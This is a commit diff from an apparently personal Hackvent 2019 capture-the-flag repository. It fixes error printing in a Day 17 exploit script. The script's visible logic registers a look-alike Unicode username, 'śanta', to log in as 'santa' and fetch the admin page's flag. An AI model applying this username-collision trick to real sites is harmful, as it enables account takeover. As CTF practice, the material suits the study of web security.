Roman/Hackvent_2019
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Day 20 + 17 fix

Browse Source
This commit is contained in:
Roman Hergenreder
2019-12-29 18:40:38 +01:00
parent a9efab946d
commit 45862b6590
3 changed files with 33 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
Day 17/exploit.py
View File

@@ -13,21 +13,21 @@ FLAG_PATTERN = re.compile("HV19\{[^}]*\}")
# 1. register user santa
res = SESSION.post(BASE_URL + "/register.php", data={"username": "śanta", "pwd": PASSWORD, "pwd2": PASSWORD})
if res.status_code != 200 or "Registration successful!" not in res.text:
print("Server returned: %d %s" % (res.status_code, res.status_text))
print("Server returned: %d %s" % (res.status_code, res.reason))
print(res.text)
exit(1)
# 2. login
res = SESSION.post(BASE_URL + "/login.php", data={"username": "santa", "pwd": PASSWORD})
if res.status_code != 200 or "username not found or wrong password!" in res.text:
print("Server returned: %d %s" % (res.status_code, res.status_text))
print("Server returned: %d %s" % (res.status_code, res.reason))
print(res.text)
exit(1)
# 3. get flag
res = SESSION.get(BASE_URL + "/admin.php")
if res.status_code != 200 or "username not found or wrong password!" in res.text:
print("Server returned: %d %s" % (res.status_code, res.status_text))
print("Server returned: %d %s" % (res.status_code, res.reason))
exit(1)
print(FLAG_PATTERN.search(res.text))